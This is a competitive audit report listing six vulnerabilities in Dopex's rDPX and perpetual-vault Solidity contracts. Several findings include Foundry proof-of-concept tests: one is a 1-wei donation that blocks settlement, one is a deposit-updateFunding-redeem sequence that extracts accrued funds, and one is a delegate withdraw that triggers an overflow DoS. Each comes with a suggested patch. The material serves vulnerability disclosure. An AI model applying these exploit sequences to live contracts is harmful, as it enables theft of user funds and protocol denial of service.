Dopex - volodya's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/0ea4387a4851cd6c8811dfb61da95a677f3f63ae/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L201

Vulnerability details

Impact

Detailed description of the impact of this finding. settle can be ddos

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. Lets look at subtractLoss inside PerpetualAtlanticVaultLP we can see that there is a strict comparasment ==, so malicious user can send 1 wei of collateral to break it

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      collateral.balanceOf(address(this)) == _totalCollateral - loss, // @audit strict so anybody can dos
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

perp-vault/PerpetualAtlanticVaultLP.sol#L201

Lets see where subtractLoss is being used - inside PerpetualAtlanticVault.settle function, which is being used by RdpxV2Core.settle which is one of the core functions:

settle: When any rDPX APPs can be exercised, they are exercised to bring back the peg and back the backing reserves more in ETH.

  function settle(
    uint256[] memory optionIds
  )
    external
    nonReentrant
    onlyRole(RDPXV2CORE_ROLE)
    returns (uint256 ethAmount, uint256 rdpxAmount)
  {
 ...
    IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss(
      ethAmount
    );
...
}

So, malicious user can ddos a main function settle, which will cause whole system dos. Here is POC

Tools Used

POC test, put it inside tests/rdpxV2-core/Unit.t.sol

  function testSettle() public {
    rdpxV2Core.bond(5 * 1e18, 0, address(this));
    rdpxV2Core.bond(1 * 1e18, 0, address(this));

    (, uint256 rdpxReserve1, ) = rdpxV2Core.getReserveTokenInfo("RDPX");
    (, uint256 wethReserve1, ) = rdpxV2Core.getReserveTokenInfo("WETH");

    vault.addToContractWhitelist(address(rdpxV2Core));
    uint256[] memory _ids = new uint256[](1);

    (uint256 strike1, uint256 amount1, ) = vault.optionPositions(0);

    // test ITM options
    _ids[0] = 0;
    rdpxPriceOracle.updateRdpxPrice(1e7);
    weth.transfer(address(vaultLp), 1); // remove to see that it will pass
    vm.expectRevert("Not enough collateral was sent out");
    rdpxV2Core.settle(_ids);
  }

Recommended Mitigation Steps

I think this will work

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
-      collateral.balanceOf(address(this)) == _totalCollateral - loss,
+      collateral.balanceOf(address(this)) >= _totalCollateral - loss,
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/0ea4387a4851cd6c8811dfb61da95a677f3f63ae/contracts/perp-vault/PerpetualAtlanticVault.sol#L502

Vulnerability details

Impact

Detailed description of the impact of this finding. All accrued funds in PerpetualAtlanticVault can be stolen via updateFunding## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

Lets look at deposit function PerpetualAtlanticVaultLP We can see

1. transfer collateral
2. mint LP token
3. _totalCollateral += assets;

  function deposit(
    uint256 assets,
    address receiver
  ) public virtual returns (uint256 shares) {
    // Check for rounding error since we round down in previewDeposit.
    require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");

    perpetualAtlanticVault.updateFunding();

    // Need to transfer before minting or ERC777s could reenter.
    collateral.transferFrom(msg.sender, address(this), assets);

    _mint(receiver, shares);

    _totalCollateral += assets;

    emit Deposit(msg.sender, receiver, assets, shares);
  }

perp-vault/PerpetualAtlanticVaultLP.sol#L119

Now, lets look at updateFunding function in PerpetualAtlanticVault which is public and anybody can call it

1. transfer collateral
2. unfortunately missing minting new LP tokens,
3. change _totalCollateral via addProceeds

  function updateFunding() public {
    updateFundingPaymentPointer();
    uint256 currentFundingRate = fundingRates[latestFundingPaymentPointer];
    uint256 startTime = lastUpdateTime == 0
      ? (nextFundingPaymentTimestamp() - fundingDuration)
      : lastUpdateTime;
    lastUpdateTime = block.timestamp;

    collateralToken.safeTransfer(
      addresses.perpetualAtlanticVaultLP,
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );

    IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).addProceeds(
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );

    emit FundingPaid(
      msg.sender,
      ((currentFundingRate * (block.timestamp - startTime)) / 1e18),
      latestFundingPaymentPointer
    );
  }

contracts/perp-vault/PerpetualAtlanticVault.sol#L502

So, what does it means? This means that all LP now cost more that they should be since LP not changed. So attacker can steal all those tokens. POC is below

Tools Used

POC insert in tests/perp-vault/Unit.t.sol and change deposit

  function testRedeem1() external {
    rdpx.mint(address(1), 10 ether);
    weth.mint(address(1), 2 ether);
    rdpx.mint(address(2), 10 ether);
    weth.mint(address(2), 1 ether);

    deposit(1 ether, address(1));
    (, uint256 id) = vault.purchase(1 ether, address(this)); // purchases for epoch 1; send 0.05 weth premium
    uint256[] memory optionIds = new uint256[](1);
    optionIds[0] = id;

    skip(86500); // expire
    console.log("-----attack balance before-------", weth.balanceOf(address(2)));
    deposit(1 ether, address(2));
    vault.updateFunding();
    vm.startPrank(address(2), address(2));
    uint256 balance2 = vaultLp.balanceOf(address(2));
    vaultLp.redeem(balance2, address(2), address(2));
    console.log("-----attack balance after--------", weth.balanceOf(address(2)));
    vm.stopPrank();
  }

  -----attack balance before------- 1000000000000000000
  -----attack balance after-------- 1024999999999999999

  function deposit(uint256 _amount, address _from) public {
    vm.startPrank(_from, _from);
    rdpx.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);
    weth.approve(address(vault), type(uint256).max);
    weth.approve(address(vaultLp), type(uint256).max);
-    vaultLp.deposit(_amount, address(1));
+    vaultLp.deposit(_amount, address(_from));
    vm.stopPrank();
  }

Recommended Mitigation Steps

I think there suppose to be minting LP to the vault inside updateFundingPaymentPointer and the same way burn in settle function.

  function updateFunding() public {
    updateFundingPaymentPointer();
    uint256 currentFundingRate = fundingRates[latestFundingPaymentPointer];
    uint256 startTime = lastUpdateTime == 0
      ? (nextFundingPaymentTimestamp() - fundingDuration)
      : lastUpdateTime;
    lastUpdateTime = block.timestamp;

    collateralToken.safeTransfer(
      addresses.perpetualAtlanticVaultLP,
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );

    IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).addProceeds(
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );
+        IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).mint(
+          address(this),
+          IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).previewDeposit((currentFundingRate * (block.timestamp - startTime)) / 1e18)
+        );
    emit FundingPaid(
      msg.sender,
      ((currentFundingRate * (block.timestamp - startTime)) / 1e18),
      latestFundingPaymentPointer
    );
  }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/0ea4387a4851cd6c8811dfb61da95a677f3f63ae/contracts/core/RdpxV2Core.sol#L975

Vulnerability details

Impact

Detailed description of the impact of this finding. DOS system and broking depeg using addToDelegate and withdraw

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. Whenever user use addToDelegate totalWethDelegated increases:

  function addToDelegate(
    uint256 _amount,
    uint256 _fee
  ) external returns (uint256) {
    _whenNotPaused();
    // fee less than 100%
    _validate(_fee < 100e8, 8);
    // amount greater than 0.01 WETH
    _validate(_amount > 1e16, 4);
    // fee greater than 1%
    _validate(_fee >= 1e8, 8);

    IERC20WithBurn(weth).safeTransferFrom(msg.sender, address(this), _amount);

    Delegate memory delegatePosition = Delegate({
      amount: _amount,
      fee: _fee,
      owner: msg.sender,
      activeCollateral: 0
    });
    delegates.push(delegatePosition);

    // add amount to total weth delegated
    totalWethDelegated += _amount;

    emit LogAddToDelegate(_amount, _fee, delegates.length - 1);
    return (delegates.length - 1);
  }

contracts/core/RdpxV2Core.sol#L975 But whenever user use withdraw totalWethDelegated doesn't decreases:

  function withdraw(
    uint256 delegateId
  ) external returns (uint256 amountWithdrawn) {
    _whenNotPaused();
    _validate(delegateId < delegates.length, 14);
    Delegate storage delegate = delegates[delegateId];
    _validate(delegate.owner == msg.sender, 9);

    amountWithdrawn = delegate.amount - delegate.activeCollateral;
    _validate(amountWithdrawn > 0, 15);
    delegate.amount = delegate.activeCollateral;
//  @audit
//    totalWethDelegated -= amountWithdrawn
    IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);

    emit LogDelegateWithdraw(delegateId, amountWithdrawn);
  }

Lets see where totalWethDelegated being used - on syncing tokenBalance for the WETH.

  function sync() external {
    for (uint256 i = 1; i < reserveAsset.length; i++) {
      uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf(
        address(this)
      );

      if (weth == reserveAsset[i].tokenAddress) {
        balance = balance - totalWethDelegated;
      }
      reserveAsset[i].tokenBalance = balance;
    }

    emit LogSync();
  }

Due to the fact that a malicious user can increase totalWethDelegated to any number (only paying for fee and there is not timelock). .tokenBalance can become 0 for WETH thus DOS whole system on overflow. Depeg depends on this invariant also provideFunding will not work and sync function will always revert this means that bond function will not work when isReLPActive is true

  function provideFunding()
    external
    onlyRole(DEFAULT_ADMIN_ROLE)
    returns (uint256 fundingAmount)
  {
..
reserveAsset[reservesIndex["WETH"]].tokenBalance -= fundingAmount;
...
}

  function bond(
    uint256 _amount,
    uint256 rdpxBondId,
    address _to
  ) public returns (uint256 receiptTokenAmount) {
    _whenNotPaused();
...
    
    if (isReLPActive) IReLP(addresses.reLPContract).reLP(_amount);
...
  }

  function reLP(uint256 _amount) external onlyRole(RDPXV2CORE_ROLE) {
...
    IRdpxV2Core(addresses.rdpxV2Core).sync();
  }

Tools Used

POC sync function will revert due to overflow

  function testWithdraw() public {
    rdpxV2Core.addToDelegate(1 * 1e18, 10e8);

    // test withdraw with invalid delegate id
    (address ad1, uint256 uint1, string memory uint2) = rdpxV2Core.getReserveTokenInfo("WETH");
    console.log(uint1);
    vm.expectRevert(
      abi.encodeWithSelector(RdpxV2Core.RdpxV2CoreError.selector, 14)
    );
    rdpxV2Core.withdraw(1);
    rdpxV2Core.addToDelegate(1 * 1e18, 10e8);
    rdpxV2Core.withdraw(1);
    vm.expectRevert(stdError.arithmeticError);
    rdpxV2Core.sync();
  }

Recommended Mitigation Steps

  function withdraw(
    uint256 delegateId
  ) external returns (uint256 amountWithdrawn) {
    _whenNotPaused();
    _validate(delegateId < delegates.length, 14);
    Delegate storage delegate = delegates[delegateId];
    _validate(delegate.owner == msg.sender, 9);

    amountWithdrawn = delegate.amount - delegate.activeCollateral;
    _validate(amountWithdrawn > 0, 15);
    delegate.amount = delegate.activeCollateral;
//  @audit
+    totalWethDelegated -= amountWithdrawn;
    IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);

    emit LogDelegateWithdraw(delegateId, amountWithdrawn);
  }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/0ea4387a4851cd6c8811dfb61da95a677f3f63ae/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L227

Vulnerability details

Impact

Detailed description of the impact of this finding. Incorrect rdpx collateral calculation on redeeming in PerpetualAtlanticVaultLP

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. Let see how share are being calculated on deposit and redeem inside PerpetualAtlanticVaultLP We can see that on deposit totalAssets are totalCollateral() + ((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8) vs on redeem totalCollateral() + _rdpxCollateral

Which leads to incorrect rdpx collateral calculation on redeeming in PerpetualAtlanticVaultLP leading to users receiving less funds than they bought if (_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8 < _rdpxCollateral or every user get more funds than they supposed to leading to protocol loss.

  function _convertToAssets(
    uint256 shares
  ) internal view virtual returns (uint256 assets, uint256 rdpxAmount) {
    uint256 supply = totalSupply;
    return
      (supply == 0)
        ? (shares, 0)
        : (
          shares.mulDivDown(totalCollateral(), supply),
          shares.mulDivDown(_rdpxCollateral, supply)
//      @audit not fair for user + incorrect shares
//      shares.mulDivDown((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8, supply)
        );
  }

   function convertToShares(
    uint256 assets
  ) public view returns (uint256 shares) {
    uint256 supply = totalSupply;
    uint256 rdpxPriceInAlphaToken = perpetualAtlanticVault.getUnderlyingPrice();

    uint256 totalVaultCollateral = totalCollateral() +
      ((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8);
    return
      supply == 0 ? assets : assets.mulDivDown(supply, totalVaultCollateral);
  }

perp-vault/PerpetualAtlanticVaultLP.sol#L227

Tools Used

Recommended Mitigation Steps

I its suppose to be like this

  function _convertToAssets(
    uint256 shares
  ) internal view virtual returns (uint256 assets, uint256 rdpxAmount) {
    uint256 supply = totalSupply;
    uint256 rdpxPriceInAlphaToken = perpetualAtlanticVault.getUnderlyingPrice();

    return
      (supply == 0)
        ? (shares, 0)
        : (
        shares.mulDivDown(totalCollateral(), supply),
        shares.mulDivDown((_rdpxCollateral * rdpxPriceInAlphaToken) / 1e8, supply)
      );
  }

Assessed type

ERC4626

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/0ea4387a4851cd6c8811dfb61da95a677f3f63ae/contracts/decaying-bonds/RdpxDecayingBonds.sol#L162

Vulnerability details

Impact

Detailed description of the impact of this finding. Transferring bond doesn't update owner

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. Decayed bonds are meant to be transferring(exchanging) due to the fact that there is a function that forbid to transfer them if bonds in a pause state.

  function _beforeTokenTransfer(
    address from,
    address to,
    uint256 tokenId,
    uint256 batchSize
  ) internal override(ERC721, ERC721Enumerable) {
    _whenNotPaused();
    super._beforeTokenTransfer(from, to, tokenId, batchSize);
  }

RdpxDecayingBonds.sol#L162

But whenever user trasferring their bonds he still holds power and all bonuses of that bond due to the fact that bonds[bondId].to stays the same.

Tools Used

POC

  function testMint1() public {
    // Mint 1000 RDPX bonds
    rdpxDecayingBonds.mint(address(this), 1223322, 5e18);

    // Check the bond details
    (address owner,  ,) = rdpxDecayingBonds
      .bonds(1);

    console.log("nft owner before:   ", rdpxDecayingBonds.ownerOf(1));
    console.log("bonds owner    before:   ", owner);
    rdpxDecayingBonds.transferFrom(address(this), address(1), 1);
    (owner,, ) = rdpxDecayingBonds.bonds(1);
    console.log("nft owner after: ", rdpxDecayingBonds.ownerOf(1));
    console.log("bonds owner after: ", owner);
  }

  nft owner before:    0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
  bonds owner    before:    0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
  nft owner after:  0x0000000000000000000000000000000000000001
  bonds owner after:  0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496

Recommended Mitigation Steps

  function _beforeTokenTransfer(
    address from,
    address to,
    uint256 tokenId,
    uint256 batchSize
  ) internal override(ERC721, ERC721Enumerable) {
    _whenNotPaused();
+   bonds[tokenId].owner = to;
    super._beforeTokenTransfer(from, to, tokenId, batchSize);
  }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/0ea4387a4851cd6c8811dfb61da95a677f3f63ae/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L22

Vulnerability details

Impact

Detailed description of the impact of this finding. PerpetualAtlanticVaultLP is not ERC4626 complaint which leads to other protocol not using/integrating dopex which leads to missed opportunity

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

Some of the function of vault eip-4626 are missing. E.x. maxDeposit, maxMint,maxRedeem and so on.

    function maxRedeem(address owner) public view virtual returns (uint256) {
        return balanceOf(owner);
    }

Tools Used

Recommended Mitigation Steps

I think its better to implement missing function from eip so other project can integrate with dopex

Assessed type

ERC4626